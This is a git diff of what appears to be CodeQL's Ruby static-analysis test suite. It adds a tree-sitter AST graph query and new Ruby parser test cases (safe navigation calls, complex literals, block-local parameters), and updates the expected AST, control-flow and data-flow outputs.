diff --git a/ruby/ql/test/library-tests/ast/TreeSitter.ql b/ruby/ql/test/library-tests/ast/TreeSitter.ql
new file mode 100644
index 00000000000..851ad9fe663
--- /dev/null
+++ b/ruby/ql/test/library-tests/ast/TreeSitter.ql
@@ -0,0 +1,46 @@
+/**
+ * @kind graph
+ */
+
+import codeql.ruby.ast.internal.TreeSitter
+import codeql.Locations
+
+/**
+ * Holds if `node` belongs to the output tree, and its property `key` has the
+ * given `value`.
+ */
+query predicate nodes(Ruby::AstNode node, string key, string value) {
+  key = "semmle.label" and
+  value = "[" + node.getPrimaryQlClasses() + "] " + node.toString()
+  or
+  key = "semmle.order" and
+  value =
+    any(int i |
+      node =
+        rank[i](Ruby::AstNode n, Location l |
+          l = n.getLocation()
+        |
+          n
+          order by
+            l.getFile().getRelativePath(), l.getFile().getAbsolutePath(), l.getStartLine(),
+            l.getStartColumn(), l.getEndLine() desc, l.getEndColumn() desc, n.toString()
+        )
+    ).toString()
+}
+
+/**
+ * Holds if `target` is a child of `source` in the AST, and property `key` of
+ * the edge has the given `value`.
+ */
+query predicate edges(Ruby::AstNode source, Ruby::AstNode target, string key, string value) {
+  source = target.getParent() and
+  key = ["semmle.label", "semmle.order"] and
+  value = target.getParentIndex().toString()
+}
+
+/**
+ * Holds if property `key` of the graph has the given `value`.
+ */
+query predicate graphProperties(string key, string value) {
+  key = "semmle.graphKind" and value = "tree"
+}
diff --git a/ruby/ql/test/library-tests/ast/ValueText.expected b/ruby/ql/test/library-tests/ast/ValueText.expected
index 51b727f0682..6225b1b2e90 100644
--- a/ruby/ql/test/library-tests/ast/ValueText.expected
+++ b/ruby/ql/test/library-tests/ast/ValueText.expected
@@ -74,6 +74,12 @@ exprValue
 | calls/calls.rb:346:8:346:9 | 42 | 42 | int |
 | calls/calls.rb:347:5:347:5 | :X | :X | symbol |
 | calls/calls.rb:350:5:350:5 | 1 | 1 | int |
+| calls/calls.rb:362:1:362:4 | nil | nil | nil |
+| calls/calls.rb:362:5:362:6 | nil | nil | nil |
+| calls/calls.rb:364:1:364:3 | nil | nil | nil |
+| calls/calls.rb:364:4:364:5 | nil | nil | nil |
+| calls/calls.rb:364:10:364:10 | 1 | 1 | int |
+| calls/calls.rb:364:12:364:12 | 2 | 2 | int |
 | constants/constants.rb:3:19:3:27 | "const_a" | const_a | string |
 | constants/constants.rb:6:15:6:23 | "const_b" | const_b | string |
 | constants/constants.rb:17:12:17:18 | "Hello" | Hello | string |
@@ -450,11 +456,8 @@ exprValue
 | gems/test.gemspec:9:3:9:12 | __synth__0 | https://github.com/github/codeql-ruby | string |
 | gems/test.gemspec:9:19:9:57 | "https://github.com/github/cod..." | https://github.com/github/codeql-ruby | string |
 | literals/literals.rb:2:1:2:3 | nil | nil | nil |
-| literals/literals.rb:3:1:3:3 | NIL | nil | nil |
 | literals/literals.rb:4:1:4:5 | false | false | boolean |
-| literals/literals.rb:5:1:5:5 | FALSE | false | boolean |
 | literals/literals.rb:6:1:6:4 | true | true | boolean |
-| literals/literals.rb:7:1:7:4 | TRUE | true | boolean |
 | literals/literals.rb:10:1:10:4 | 1234 | 1234 | int |
 | literals/literals.rb:11:1:11:5 | 5_678 | 5678 | int |
 | literals/literals.rb:12:1:12:1 | 0 | 0 | int |
@@ -480,6 +483,8 @@ exprValue
 | literals/literals.rb:48:1:48:3 | 23r | 23/1 | rational |
 | literals/literals.rb:49:1:49:5 | 9.85r | 985/100 | rational |
 | literals/literals.rb:52:1:52:2 | 2i | 0+2i | complex |
+| literals/literals.rb:53:1:53:5 | 3.14i | 0+3.14i | complex |
+| literals/literals.rb:56:1:56:5 | 1.2ri | 0+1.2i | complex |
 | literals/literals.rb:59:1:59:2 | "" |  | string |
 | literals/literals.rb:60:1:60:2 | "" |  | string |
 | literals/literals.rb:61:1:61:7 | "hello" | hello | string |
@@ -648,6 +653,7 @@ exprValue
 | literals/literals.rb:138:2:138:2 | 1 | 1 | int |
 | literals/literals.rb:139:4:139:4 | 1 | 1 | int |
 | literals/literals.rb:140:2:140:2 | 0 | 0 | int |
+| literals/literals.rb:140:5:140:6 | - ... | -1 | int |
 | literals/literals.rb:140:6:140:6 | 1 | 1 | int |
 | literals/literals.rb:143:1:143:7 | `ls -l` | ls -l | string |
 | literals/literals.rb:144:1:144:9 | `ls -l` | ls -l | string |
@@ -963,6 +969,12 @@ exprCfgNodeValue
 | calls/calls.rb:346:8:346:9 | 42 | 42 | int |
 | calls/calls.rb:347:5:347:5 | :X | :X | symbol |
 | calls/calls.rb:350:5:350:5 | 1 | 1 | int |
+| calls/calls.rb:362:1:362:4 | nil | nil | nil |
+| calls/calls.rb:362:5:362:6 | nil | nil | nil |
+| calls/calls.rb:364:1:364:3 | nil | nil | nil |
+| calls/calls.rb:364:4:364:5 | nil | nil | nil |
+| calls/calls.rb:364:10:364:10 | 1 | 1 | int |
+| calls/calls.rb:364:12:364:12 | 2 | 2 | int |
 | constants/constants.rb:3:19:3:27 | "const_a" | const_a | string |
 | constants/constants.rb:6:15:6:23 | "const_b" | const_b | string |
 | constants/constants.rb:17:12:17:18 | "Hello" | Hello | string |
@@ -1313,11 +1325,8 @@ exprCfgNodeValue
 | gems/test.gemspec:9:3:9:12 | __synth__0 | https://github.com/github/codeql-ruby | string |
 | gems/test.gemspec:9:19:9:57 | "https://github.com/github/cod..." | https://github.com/github/codeql-ruby | string |
 | literals/literals.rb:2:1:2:3 | nil | nil | nil |
-| literals/literals.rb:3:1:3:3 | NIL | nil | nil |
 | literals/literals.rb:4:1:4:5 | false | false | boolean |
-| literals/literals.rb:5:1:5:5 | FALSE | false | boolean |
 | literals/literals.rb:6:1:6:4 | true | true | boolean |
-| literals/literals.rb:7:1:7:4 | TRUE | true | boolean |
 | literals/literals.rb:10:1:10:4 | 1234 | 1234 | int |
 | literals/literals.rb:11:1:11:5 | 5_678 | 5678 | int |
 | literals/literals.rb:12:1:12:1 | 0 | 0 | int |
@@ -1343,6 +1352,8 @@ exprCfgNodeValue
 | literals/literals.rb:48:1:48:3 | 23r | 23/1 | rational |
 | literals/literals.rb:49:1:49:5 | 9.85r | 985/100 | rational |
 | literals/literals.rb:52:1:52:2 | 2i | 0+2i | complex |
+| literals/literals.rb:53:1:53:5 | 3.14i | 0+3.14i | complex |
+| literals/literals.rb:56:1:56:5 | 1.2ri | 0+1.2i | complex |
 | literals/literals.rb:59:1:59:2 | "" |  | string |
 | literals/literals.rb:60:1:60:2 | "" |  | string |
 | literals/literals.rb:61:1:61:7 | "hello" | hello | string |
@@ -1511,6 +1522,7 @@ exprCfgNodeValue
 | literals/literals.rb:138:2:138:2 | 1 | 1 | int |
 | literals/literals.rb:139:4:139:4 | 1 | 1 | int |
 | literals/literals.rb:140:2:140:2 | 0 | 0 | int |
+| literals/literals.rb:140:5:140:6 | - ... | -1 | int |
 | literals/literals.rb:140:6:140:6 | 1 | 1 | int |
 | literals/literals.rb:143:1:143:7 | `ls -l` | ls -l | string |
 | literals/literals.rb:144:1:144:9 | `ls -l` | ls -l | string |
diff --git a/ruby/ql/test/library-tests/ast/calls/calls.expected b/ruby/ql/test/library-tests/ast/calls/calls.expected
index 45d818943a5..b56cbd61f37 100644
--- a/ruby/ql/test/library-tests/ast/calls/calls.expected
+++ b/ruby/ql/test/library-tests/ast/calls/calls.expected
@@ -114,10 +114,16 @@ callsWithArguments
 | calls.rb:346:1:346:10 | call to foo | foo | 0 | calls.rb:346:5:346:9 | Pair |
 | calls.rb:347:1:347:7 | call to foo | foo | 0 | calls.rb:347:5:347:6 | Pair |
 | calls.rb:352:13:352:17 | call to foo | foo | 0 | calls.rb:352:17:352:17 | x |
+| calls.rb:362:5:362:6 | call to == | == | 0 | calls.rb:362:1:362:4 | __synth__0__1 |
+| calls.rb:364:1:364:23 | call to bar | bar | 0 | calls.rb:364:10:364:10 | 1 |
+| calls.rb:364:1:364:23 | call to bar | bar | 0 | calls.rb:364:10:364:10 | 1 |
+| calls.rb:364:1:364:23 | call to bar | bar | 1 | calls.rb:364:12:364:12 | 2 |
+| calls.rb:364:1:364:23 | call to bar | bar | 1 | calls.rb:364:12:364:12 | 2 |
+| calls.rb:364:4:364:5 | call to == | == | 0 | calls.rb:364:1:364:3 | __synth__0__1 |
 callsWithReceiver
 | calls.rb:2:1:2:5 | call to foo | calls.rb:2:1:2:5 | self |
 | calls.rb:5:1:5:10 | call to bar | calls.rb:5:1:5:3 | Foo |
-| calls.rb:8:1:8:7 | call to bar | calls.rb:8:1:8:7 | self |
+| calls.rb:8:3:8:7 | call to bar | calls.rb:8:3:8:7 | self |
 | calls.rb:11:1:11:7 | call to bar | calls.rb:11:1:11:3 | 123 |
 | calls.rb:14:1:14:11 | call to foo | calls.rb:14:1:14:11 | self |
 | calls.rb:17:1:17:17 | call to foo | calls.rb:17:1:17:17 | self |
@@ -372,6 +378,18 @@ callsWithReceiver
 | calls.rb:352:13:352:17 | call to foo | calls.rb:352:13:352:17 | self |
 | calls.rb:353:13:353:24 | call to unknown_call | calls.rb:353:13:353:24 | self |
 | calls.rb:357:3:357:14 | call to unknown_call | calls.rb:357:3:357:14 | self |
+| calls.rb:361:1:361:4 | call to list | calls.rb:361:1:361:4 | self |
+| calls.rb:361:1:361:11 | call to empty? | calls.rb:361:1:361:4 | call to list |
+| calls.rb:362:1:362:4 | call to list | calls.rb:362:1:362:4 | self |
+| calls.rb:362:1:362:12 | call to empty? | calls.rb:362:1:362:4 | __synth__0__1 |
+| calls.rb:362:1:362:12 | call to empty? | calls.rb:362:1:362:4 | call to list |
+| calls.rb:362:5:362:6 | call to == | calls.rb:362:5:362:6 | nil |
+| calls.rb:363:1:363:4 | call to list | calls.rb:363:1:363:4 | self |
+| calls.rb:363:1:363:12 | call to empty? | calls.rb:363:1:363:4 | call to list |
+| calls.rb:364:1:364:3 | call to foo | calls.rb:364:1:364:3 | self |
+| calls.rb:364:1:364:23 | call to bar | calls.rb:364:1:364:3 | __synth__0__1 |
+| calls.rb:364:1:364:23 | call to bar | calls.rb:364:1:364:3 | call to foo |
+| calls.rb:364:4:364:5 | call to == | calls.rb:364:4:364:5 | nil |
 callsWithBlock
 | calls.rb:17:1:17:17 | call to foo | calls.rb:17:5:17:17 | { ... } |
 | calls.rb:20:1:22:3 | call to foo | calls.rb:20:5:22:3 | do ... end |
@@ -385,6 +403,8 @@ callsWithBlock
 | calls.rb:292:5:292:30 | call to super | calls.rb:292:16:292:30 | { ... } |
 | calls.rb:293:5:293:33 | call to super | calls.rb:293:16:293:33 | do ... end |
 | calls.rb:340:1:342:3 | call to each | calls.rb:340:1:342:3 | { ... } |
+| calls.rb:364:1:364:23 | call to bar | calls.rb:364:15:364:23 | { ... } |
+| calls.rb:364:1:364:23 | call to bar | calls.rb:364:15:364:23 | { ... } |
 yieldCalls
 | calls.rb:31:3:31:7 | yield ... |
 | calls.rb:36:3:36:16 | yield ... |
@@ -424,3 +444,6 @@ setterCalls
 | calls.rb:318:1:318:10 | call to count= |
 | calls.rb:319:1:319:6 | call to []= |
 | calls.rb:320:1:320:32 | call to []= |
+callsWithSafeNavigationOperator
+| calls.rb:362:1:362:12 | call to empty? |
+| calls.rb:364:1:364:23 | call to bar |
diff --git a/ruby/ql/test/library-tests/ast/calls/calls.ql b/ruby/ql/test/library-tests/ast/calls/calls.ql
index 4d244c2cf4c..93bef27efb4 100644
--- a/ruby/ql/test/library-tests/ast/calls/calls.ql
+++ b/ruby/ql/test/library-tests/ast/calls/calls.ql
@@ -31,3 +31,5 @@ query predicate superCallsWithArguments(SuperCall c, int n, Expr argN) { argN =
 query predicate superCallsWithBlock(SuperCall c, Block b) { b = c.getBlock() }
 
 query predicate setterCalls(SetterMethodCall c) { any() }
+
+query predicate callsWithSafeNavigationOperator(MethodCall c) { c.isSafeNavigation() }
diff --git a/ruby/ql/test/library-tests/ast/calls/calls.rb b/ruby/ql/test/library-tests/ast/calls/calls.rb
index 46815457f17..361b245745f 100644
--- a/ruby/ql/test/library-tests/ast/calls/calls.rb
+++ b/ruby/ql/test/library-tests/ast/calls/calls.rb
@@ -356,3 +356,9 @@ h = -> (x) do
   y
   unknown_call
 end
+
+# calls with various call operators
+list.empty?
+list&.empty?
+list::empty?
+foo&.bar(1,2) { |x| x }
\ No newline at end of file
diff --git a/ruby/ql/test/library-tests/ast/literals/literals.expected b/ruby/ql/test/library-tests/ast/literals/literals.expected
index de62e2ccae7..a11e5338d9b 100644
--- a/ruby/ql/test/library-tests/ast/literals/literals.expected
+++ b/ruby/ql/test/library-tests/ast/literals/literals.expected
@@ -1,10 +1,7 @@
 allLiterals
 | literals.rb:2:1:2:3 | nil | NilLiteral | nil |
-| literals.rb:3:1:3:3 | NIL | NilLiteral | nil |
 | literals.rb:4:1:4:5 | false | BooleanLiteral | false |
-| literals.rb:5:1:5:5 | FALSE | BooleanLiteral | false |
 | literals.rb:6:1:6:4 | true | BooleanLiteral | true |
-| literals.rb:7:1:7:4 | TRUE | BooleanLiteral | true |
 | literals.rb:10:1:10:4 | 1234 | IntegerLiteral | 1234 |
 | literals.rb:11:1:11:5 | 5_678 | IntegerLiteral | 5678 |
 | literals.rb:12:1:12:1 | 0 | IntegerLiteral | 0 |
@@ -36,6 +33,8 @@ allLiterals
 | literals.rb:48:1:48:3 | 23r | RationalLiteral | 23/1 |
 | literals.rb:49:1:49:5 | 9.85r | RationalLiteral | 985/100 |
 | literals.rb:52:1:52:2 | 2i | ComplexLiteral | 0+2i |
+| literals.rb:53:1:53:5 | 3.14i | ComplexLiteral | 0+3.14i |
+| literals.rb:56:1:56:5 | 1.2ri | ComplexLiteral | 0+1.2i |
 | literals.rb:59:1:59:2 | "" | StringLiteral |  |
 | literals.rb:60:1:60:2 | "" | StringLiteral |  |
 | literals.rb:61:1:61:7 | "hello" | StringLiteral | hello |
@@ -194,7 +193,7 @@ allLiterals
 | literals.rb:139:2:139:4 | _ .. _ | RangeLiteral | <none> |
 | literals.rb:139:4:139:4 | 1 | IntegerLiteral | 1 |
 | literals.rb:140:2:140:2 | 0 | IntegerLiteral | 0 |
-| literals.rb:140:2:140:4 | _ .. _ | RangeLiteral | <none> |
+| literals.rb:140:2:140:6 | _ .. _ | RangeLiteral | <none> |
 | literals.rb:140:6:140:6 | 1 | IntegerLiteral | 1 |
 | literals.rb:143:1:143:7 | `ls -l` | SubshellLiteral | ls -l |
 | literals.rb:144:1:144:9 | `ls -l` | SubshellLiteral | ls -l |
@@ -767,18 +766,18 @@ finiteRangeLiterals
 | literals.rb:135:2:135:7 | _ ... _ | literals.rb:135:2:135:2 | 1 | literals.rb:135:6:135:7 | 10 |
 | literals.rb:136:2:136:7 | _ .. _ | literals.rb:136:2:136:2 | 1 | literals.rb:136:7:136:7 | 0 |
 | literals.rb:137:2:137:11 | _ .. _ | literals.rb:137:2:137:6 | call to start | literals.rb:137:9:137:11 | ... + ... |
+| literals.rb:140:2:140:6 | _ .. _ | literals.rb:140:2:140:2 | 0 | literals.rb:140:5:140:6 | - ... |
 beginlessRangeLiterals
 | literals.rb:139:2:139:4 | _ .. _ | literals.rb:139:4:139:4 | 1 |
 endlessRangeLiterals
 | literals.rb:138:2:138:4 | _ .. _ | literals.rb:138:2:138:2 | 1 |
-| literals.rb:140:2:140:4 | _ .. _ | literals.rb:140:2:140:2 | 0 |
 inclusiveRangeLiterals
 | literals.rb:134:2:134:6 | _ .. _ |
 | literals.rb:136:2:136:7 | _ .. _ |
 | literals.rb:137:2:137:11 | _ .. _ |
 | literals.rb:138:2:138:4 | _ .. _ |
 | literals.rb:139:2:139:4 | _ .. _ |
-| literals.rb:140:2:140:4 | _ .. _ |
+| literals.rb:140:2:140:6 | _ .. _ |
 exclusiveRangeLiterals
 | literals.rb:135:2:135:7 | _ ... _ |
 numericLiterals
@@ -813,6 +812,8 @@ numericLiterals
 | literals.rb:48:1:48:3 | 23r | RationalLiteral | 23/1 |
 | literals.rb:49:1:49:5 | 9.85r | RationalLiteral | 985/100 |
 | literals.rb:52:1:52:2 | 2i | ComplexLiteral | 0+2i |
+| literals.rb:53:1:53:5 | 3.14i | ComplexLiteral | 0+3.14i |
+| literals.rb:56:1:56:5 | 1.2ri | ComplexLiteral | 0+1.2i |
 | literals.rb:71:13:71:13 | 2 | IntegerLiteral | 2 |
 | literals.rb:71:17:71:17 | 2 | IntegerLiteral | 2 |
 | literals.rb:72:15:72:15 | 3 | IntegerLiteral | 3 |
@@ -952,3 +953,5 @@ rationalLiterals
 | literals.rb:49:1:49:5 | 9.85r | RationalLiteral | 985/100 |
 complexLiterals
 | literals.rb:52:1:52:2 | 2i | ComplexLiteral | 0+2i |
+| literals.rb:53:1:53:5 | 3.14i | ComplexLiteral | 0+3.14i |
+| literals.rb:56:1:56:5 | 1.2ri | ComplexLiteral | 0+1.2i |
diff --git a/ruby/ql/test/library-tests/ast/literals/literals.rb b/ruby/ql/test/library-tests/ast/literals/literals.rb
index 10c28de265f..6ddfc74e88f 100644
--- a/ruby/ql/test/library-tests/ast/literals/literals.rb
+++ b/ruby/ql/test/library-tests/ast/literals/literals.rb
@@ -50,10 +50,10 @@ TRUE
 
 # imaginary/complex numbers
 2i
-#3.14i # BAD: parse error
+3.14i
 
 # imaginary & rational
-#1.2ri # BAD: parse error
+1.2ri
 
 # strings
 ""
@@ -137,7 +137,7 @@ BAR = "bar"
 (start..2+3)
 (1..) # 1 to infinity
 (..1) # -infinity to 1
-(0..-1) # BAD: parsed as binary with minus endless range on the LHS
+(0..-1)
 
 # subshell
 `ls -l`
diff --git a/ruby/ql/test/library-tests/ast/params/params.expected b/ruby/ql/test/library-tests/ast/params/params.expected
index afe41ce9cb8..a04d4393e40 100644
--- a/ruby/ql/test/library-tests/ast/params/params.expected
+++ b/ruby/ql/test/library-tests/ast/params/params.expected
@@ -36,6 +36,7 @@ idParams
 | params.rb:73:27:73:32 | wibble | wibble |
 | params.rb:77:16:77:18 | val | val |
 | params.rb:81:31:81:35 | array | array |
+| params.rb:86:14:86:14 | x | x |
 blockParams
 | params.rb:46:28:46:33 | &block | block |
 | params.rb:62:29:62:34 | &block | block |
@@ -103,6 +104,7 @@ paramsInBlocks
 | params.rb:65:25:67:3 | do ... end | 1 | params.rb:65:35:65:37 | age | OptionalParameter |
 | params.rb:77:12:78:3 | do ... end | 0 | params.rb:77:16:77:18 | val | SimpleParameter |
 | params.rb:77:12:78:3 | do ... end | 1 | params.rb:77:21:77:25 | **nil | HashSplatNilParameter |
+| params.rb:86:11:86:31 | { ... } | 0 | params.rb:86:14:86:14 | x | SimpleParameter |
 paramsInLambdas
 | params.rb:14:7:14:33 | -> { ... } | 0 | params.rb:14:11:14:13 | foo | SimpleParameter |
 | params.rb:14:7:14:33 | -> { ... } | 1 | params.rb:14:16:14:18 | bar | SimpleParameter |
@@ -162,3 +164,4 @@ params
 | params.rb:77:21:77:25 | **nil | 1 | HashSplatNilParameter |
 | params.rb:81:31:81:35 | array | 0 | SimpleParameter |
 | params.rb:81:38:81:38 | & | 1 | BlockParameter |
+| params.rb:86:14:86:14 | x | 0 | SimpleParameter |
diff --git a/ruby/ql/test/library-tests/ast/params/params.rb b/ruby/ql/test/library-tests/ast/params/params.rb
index 2ba6b4aafda..c406d01009a 100644
--- a/ruby/ql/test/library-tests/ast/params/params.rb
+++ b/ruby/ql/test/library-tests/ast/params/params.rb
@@ -82,3 +82,5 @@ def anonymous_block_parameter(array, &)
   proc(&)
   array.each(&)
 end
+
+run_block { |x; y, z | puts x }
diff --git a/ruby/ql/test/library-tests/controlflow/graph/Cfg.expected b/ruby/ql/test/library-tests/controlflow/graph/Cfg.expected
index 0d18855a66c..d190d853634 100644
--- a/ruby/ql/test/library-tests/controlflow/graph/Cfg.expected
+++ b/ruby/ql/test/library-tests/controlflow/graph/Cfg.expected
@@ -2010,14 +2010,20 @@ cfg.rb:
 #-----|  -> complex
 
 #   59| complex
-#-----|  -> 10-2i
+#-----|  -> 10
 
 #   59| ... = ...
 #-----|  -> conditional
 
-#   59| 10-2i
+#   59| 10
+#-----|  -> 2i
+
+#   59| ... - ...
 #-----|  -> ... = ...
 
+#   59| 2i
+#-----|  -> ... - ...
+
 #   60| conditional
 #-----|  -> self
 
@@ -3528,7 +3534,7 @@ cfg.rb:
 #-----|  -> exit forward_param
 
 #  196| forward_param
-#-----|  -> exit cfg.rb (normal)
+#-----|  -> 1
 
 #  196| a
 #-----|  -> b
@@ -3551,6 +3557,130 @@ cfg.rb:
 #  197| ...
 #-----|  -> call to bar
 
+#  200| 1
+#-----|  -> { ... }
+
+#  200| call to times
+#-----|  -> 2
+
+#  200| enter { ... }
+#-----|  -> a
+
+#  200| exit { ... }
+
+#  200| exit { ... } (normal)
+#-----|  -> exit { ... }
+
+#  200| { ... }
+#-----|  -> call to times
+
+#  200| a
+#-----|  -> b
+
+#  200| b
+#-----|  -> Kernel
+
+#  200| Kernel
+#-----|  -> a
+
+#  200| call to puts
+#-----|  -> exit { ... } (normal)
+
+#  200| a
+#-----|  -> call to puts
+
+#  202| 2
+#-----|  -> do ... end
+
+#  202| call to times
+#-----|  -> __synth__0__1
+
+#  202| do ... end
+#-----|  -> call to times
+
+#  202| enter do ... end
+#-----|  -> c
+
+#  202| exit do ... end
+
+#  202| exit do ... end (normal)
+#-----|  -> exit do ... end
+
+#  202| c
+#-----|  -> d
+
+#  202| d
+#-----|  -> Kernel
+
+#  202| Kernel
+#-----|  -> c
+
+#  202| call to puts
+#-----|  -> exit do ... end (normal)
+
+#  202| c
+#-----|  -> call to puts
+
+#  205| ... = ...
+#-----|  -> nil
+
+#  205| __synth__0__1
+#-----|  -> self
+
+#  205| __synth__0__1
+#-----|  -> call to ==
+
+#  205| __synth__0__1
+#-----|  -> 1
+
+#  205| call to foo
+#-----|  -> ... = ...
+
+#  205| nil
+#-----|  -> if ...
+
+#  205| self
+#-----|  -> call to foo
+
+#  205| ...
+#-----|  -> exit cfg.rb (normal)
+
+#  205| call to bar
+#-----|  -> if ...
+
+#  205| call to ==
+#-----| false -> __synth__0__1
+#-----| true -> nil
+
+#  205| if ...
+#-----|  -> ...
+
+#  205| nil
+#-----|  -> __synth__0__1
+
+#  205| 1
+#-----|  -> 2
+
+#  205| 2
+#-----|  -> { ... }
+
+#  205| enter { ... }
+#-----|  -> x
+
+#  205| exit { ... }
+
+#  205| exit { ... } (normal)
+#-----|  -> exit { ... }
+
+#  205| { ... }
+#-----|  -> call to bar
+
+#  205| x
+#-----|  -> x
+
+#  205| x
+#-----|  -> exit { ... } (normal)
+
 desugar.rb:
 #    1| enter m1
 #-----|  -> x
diff --git a/ruby/ql/test/library-tests/controlflow/graph/Nodes.expected b/ruby/ql/test/library-tests/controlflow/graph/Nodes.expected
index 0aa6e18b345..2701f9d7a0f 100644
--- a/ruby/ql/test/library-tests/controlflow/graph/Nodes.expected
+++ b/ruby/ql/test/library-tests/controlflow/graph/Nodes.expected
@@ -39,6 +39,9 @@ callsWithNoArguments
 | cfg.rb:167:5:167:10 | ! ... |
 | cfg.rb:168:5:168:8 | - ... |
 | cfg.rb:194:1:194:23 | call to run_block |
+| cfg.rb:200:1:200:32 | call to times |
+| cfg.rb:202:1:202:35 | call to times |
+| cfg.rb:205:1:205:3 | call to foo |
 | desugar.rb:6:3:6:7 | call to foo |
 | desugar.rb:10:3:10:7 | call to foo |
 | desugar.rb:14:3:14:7 | call to foo |
@@ -122,6 +125,7 @@ positionalArguments
 | cfg.rb:49:8:49:13 | ... == ... | cfg.rb:49:13:49:13 | 0 |
 | cfg.rb:49:16:49:20 | ... > ... | cfg.rb:49:20:49:20 | 1 |
 | cfg.rb:49:27:49:37 | call to puts | cfg.rb:49:32:49:37 | "some" |
+| cfg.rb:59:13:59:17 | ... - ... | cfg.rb:59:16:59:17 | 2i |
 | cfg.rb:60:17:60:22 | ... < ... | cfg.rb:60:21:60:22 | 10 |
 | cfg.rb:62:4:62:4 | call to [] | cfg.rb:62:4:62:4 | 0 |
 | cfg.rb:62:7:62:12 | call to [] | cfg.rb:62:7:62:12 | 1 |
@@ -198,6 +202,11 @@ positionalArguments
 | cfg.rb:194:16:194:21 | call to puts | cfg.rb:194:21:194:21 | x |
 | cfg.rb:197:3:197:13 | call to bar | cfg.rb:197:7:197:7 | b |
 | cfg.rb:197:3:197:13 | call to bar | cfg.rb:197:10:197:12 | ... |
+| cfg.rb:200:18:200:30 | call to puts | cfg.rb:200:30:200:30 | a |
+| cfg.rb:202:19:202:31 | call to puts | cfg.rb:202:31:202:31 | c |
+| cfg.rb:205:1:205:23 | call to bar | cfg.rb:205:10:205:10 | 1 |
+| cfg.rb:205:1:205:23 | call to bar | cfg.rb:205:12:205:12 | 2 |
+| cfg.rb:205:4:205:5 | call to == | cfg.rb:205:1:205:3 | __synth__0__1 |
 | desugar.rb:2:5:2:6 | ... + ... | desugar.rb:2:8:2:8 | 1 |
 | desugar.rb:6:3:6:13 | call to count= | desugar.rb:6:17:6:17 | ... = ... |
 | desugar.rb:10:3:10:10 | call to []= | desugar.rb:10:9:10:9 | 0 |
diff --git a/ruby/ql/test/library-tests/controlflow/graph/cfg.rb b/ruby/ql/test/library-tests/controlflow/graph/cfg.rb
index 9876c735955..0e6ebcc0c5a 100644
--- a/ruby/ql/test/library-tests/controlflow/graph/cfg.rb
+++ b/ruby/ql/test/library-tests/controlflow/graph/cfg.rb
@@ -197,6 +197,13 @@ def forward_param(a, b, ...)
   bar(b, ...)
 end
 
+1.times { |a; b| Kernel.puts a }
+
+2.times do |c; d| Kernel.puts c end
+
+# A call with a safe navigation operator
+foo&.bar(1,2) { |x| x }
+
 __END__
 
 Some ignored nonsense
diff --git a/ruby/ql/test/library-tests/dataflow/array-flow/array-flow.expected b/ruby/ql/test/library-tests/dataflow/array-flow/array-flow.expected
index aae291446dd..8f58eb92dbb 100644
--- a/ruby/ql/test/library-tests/dataflow/array-flow/array-flow.expected
+++ b/ruby/ql/test/library-tests/dataflow/array-flow/array-flow.expected
@@ -1,20 +1,13 @@
 failures
 edges
-| array_flow.rb:2:9:2:20 | * ... :  | array_flow.rb:3:10:3:10 | a :  |
-| array_flow.rb:2:9:2:20 | * ... :  | array_flow.rb:4:10:4:10 | a :  |
-| array_flow.rb:2:9:2:20 | * ... :  | array_flow.rb:5:10:5:10 | a :  |
 | array_flow.rb:2:9:2:20 | * ... [element 0] :  | array_flow.rb:3:10:3:10 | a [element 0] :  |
 | array_flow.rb:2:9:2:20 | * ... [element 0] :  | array_flow.rb:3:10:3:10 | a [element 0] :  |
 | array_flow.rb:2:9:2:20 | * ... [element 0] :  | array_flow.rb:5:10:5:10 | a [element 0] :  |
 | array_flow.rb:2:9:2:20 | * ... [element 0] :  | array_flow.rb:5:10:5:10 | a [element 0] :  |
-| array_flow.rb:2:10:2:20 | call to source :  | array_flow.rb:2:9:2:20 | * ... :  |
 | array_flow.rb:2:10:2:20 | call to source :  | array_flow.rb:2:9:2:20 | * ... [element 0] :  |
 | array_flow.rb:2:10:2:20 | call to source :  | array_flow.rb:2:9:2:20 | * ... [element 0] :  |
-| array_flow.rb:3:10:3:10 | a :  | array_flow.rb:3:10:3:13 | ...[...] |
 | array_flow.rb:3:10:3:10 | a [element 0] :  | array_flow.rb:3:10:3:13 | ...[...] |
 | array_flow.rb:3:10:3:10 | a [element 0] :  | array_flow.rb:3:10:3:13 | ...[...] |
-| array_flow.rb:4:10:4:10 | a :  | array_flow.rb:4:10:4:13 | ...[...] |
-| array_flow.rb:5:10:5:10 | a :  | array_flow.rb:5:10:5:13 | ...[...] |
 | array_flow.rb:5:10:5:10 | a [element 0] :  | array_flow.rb:5:10:5:13 | ...[...] |
 | array_flow.rb:5:10:5:10 | a [element 0] :  | array_flow.rb:5:10:5:13 | ...[...] |
 | array_flow.rb:9:13:9:21 | call to source :  | array_flow.rb:11:10:11:10 | a [element 1] :  |
@@ -2318,8 +2311,12 @@ edges
 | array_flow.rb:1159:10:1159:10 | a [element 0] :  | array_flow.rb:1159:10:1159:13 | ...[...] |
 | array_flow.rb:1163:10:1163:22 | call to source :  | array_flow.rb:1164:9:1164:9 | a [element 0] :  |
 | array_flow.rb:1163:10:1163:22 | call to source :  | array_flow.rb:1164:9:1164:9 | a [element 0] :  |
+| array_flow.rb:1163:10:1163:22 | call to source :  | array_flow.rb:1167:10:1167:10 | a [element 0] :  |
+| array_flow.rb:1163:10:1163:22 | call to source :  | array_flow.rb:1167:10:1167:10 | a [element 0] :  |
 | array_flow.rb:1163:28:1163:40 | call to source :  | array_flow.rb:1164:9:1164:9 | a [element 2] :  |
 | array_flow.rb:1163:28:1163:40 | call to source :  | array_flow.rb:1164:9:1164:9 | a [element 2] :  |
+| array_flow.rb:1163:28:1163:40 | call to source :  | array_flow.rb:1169:10:1169:10 | a [element 2] :  |
+| array_flow.rb:1163:28:1163:40 | call to source :  | array_flow.rb:1169:10:1169:10 | a [element 2] :  |
 | array_flow.rb:1164:9:1164:9 | [post] a [element] :  | array_flow.rb:1167:10:1167:10 | a [element] :  |
 | array_flow.rb:1164:9:1164:9 | [post] a [element] :  | array_flow.rb:1167:10:1167:10 | a [element] :  |
 | array_flow.rb:1164:9:1164:9 | [post] a [element] :  | array_flow.rb:1168:10:1168:10 | a [element] :  |
@@ -2342,10 +2339,14 @@ edges
 | array_flow.rb:1165:10:1165:10 | b [element] :  | array_flow.rb:1165:10:1165:13 | ...[...] |
 | array_flow.rb:1166:10:1166:10 | b [element] :  | array_flow.rb:1166:10:1166:13 | ...[...] |
 | array_flow.rb:1166:10:1166:10 | b [element] :  | array_flow.rb:1166:10:1166:13 | ...[...] |
+| array_flow.rb:1167:10:1167:10 | a [element 0] :  | array_flow.rb:1167:10:1167:13 | ...[...] |
